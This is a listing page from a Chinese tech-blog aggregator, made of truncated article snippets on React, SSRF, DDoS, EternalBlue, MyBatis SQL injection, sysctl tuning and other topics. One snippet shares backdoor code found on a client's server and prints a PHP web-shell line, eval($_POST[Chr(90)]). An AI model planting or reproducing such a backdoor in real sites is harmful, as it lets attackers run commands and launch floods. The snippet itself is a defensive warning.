02第一次需求 玩家有很多属性，例如：身高，性别 blalalala ,玩家可以攻击其他玩家。产品狗 YY妹子写程序也是很利索，一天就把程序搞定了，而且还抽象出一个palyer的基类出来，堪称高级程序员必备技能 //玩家的基础抽象类 abstract class Player { public st ...
分类：
其他好文 时间：
2020-07-16 21:20:58
阅读次数：
58
1.React DOM 使用 camelCase（小驼峰命名）来定义属性的名称，而不使用 HTML 属性名称的命名约定。例如，JSX 里的 class 变成了 className，而 tabindex 则变为 tabIndex。 2.JSX 防止注入攻击：React DOM 在渲染所有输入内容之前， ...
分类：
其他好文 时间：
2020-07-16 12:30:33
阅读次数：
105
#什么是SSRF漏洞 SSRF(服务器端请求伪造)是一种由攻击者构造请求，服务器端发起请求的安全漏洞，所以，一般情况下，SSRF攻击的目标是外网无法访问的内部系统。 #SSRF漏洞形成原理。 SSRF的形成大多数是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤和限制，比如操作服 ...
分类：
其他好文 时间：
2020-07-16 12:04:17
阅读次数：
56
DDoS 全称bai：分布式拒绝服务(DDoS:DistributedDenialofService)该攻击方式利du用目标系统网络服zhi务功能缺陷或者直接消耗其dao系统资源，使得该目标系统无法提供正常的服务。 拒绝服务攻击问题一直得不到合理的解决，目前还是世界性难题，究其原因是因为这是由于网络 ...
分类：
其他好文 时间：
2020-07-14 17:57:42
阅读次数：
70
今天把客户查找后门的时候发现的代码，特分享下，看到这样的代码就是黑客用来攻击别人访问，不断访问指定网站，导致网站无法访问，我们的网站就是帮凶了，同时我们自己的网站或服务器也会无法访问，所以一定要注意防范。 cc攻击代码，支持udp <?php eval($_POST[Chr(90)]); set_t ...
分类：
Web程序 时间：
2020-07-14 16:30:35
阅读次数：
75
前言 每一个模式描述了一个在我们周围不断重复发生的问题及该问题解决方案的核心。这样，你就能一次又一次地使用该方案而不必做重复工作。 所谓网站架构模式即为了解决大型网站面临的高并发访问、海量数据、高可靠运行等一系列问题与挑战。为此，在实践中提出了许多解决方案，以实现网站高性能、高可靠性、易伸缩、可扩展 ...
分类：
编程语言 时间：
2020-07-13 21:45:17
阅读次数：
59
题目描述 虽然 \(\text{Tom}\) 每天都会花 $14$ 小时训练，他还是会抽出半个小时玩耍他最喜欢的塔防游戏。 游戏是在一个一维数轴上进行的。在范围为 \([1, n]\) 上有 \(n\) 个防御塔，初始时他们的等级分别为 \(A_i\)。每座防御塔的攻击力等于他的等级。每座防御塔的攻 ...
分类：
其他好文 时间：
2020-07-13 21:23:39
阅读次数：
70
在编写MyBatis的映射语句时，尽量采用“#{xxx}”这样的格式。若不得不使用“${xxx}”这样的参数，要手工地做好过滤工作，来防止SQL注入攻击。 ...
分类：
数据库 时间：
2020-07-13 15:13:47
阅读次数：
61
漏洞介绍：永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞，这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器，无需用户任何操作，只要开机上网，不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等 ...
分类：
其他好文 时间：
2020-07-13 12:06:12
阅读次数：
102
网络相关： 以下参数，可自行在/etc/sysctl.conf文件加入，执行sysctl -p命令生效： net.core.somaxconn ##TCP连接经过三次握手后，端口最大的监听队列长度：，默认值为128 net.ipv4.tcp_syncookies = 1 表示开启SYN Cookie ...
分类：
其他好文 时间：
2020-07-12 19:11:28
阅读次数：
93
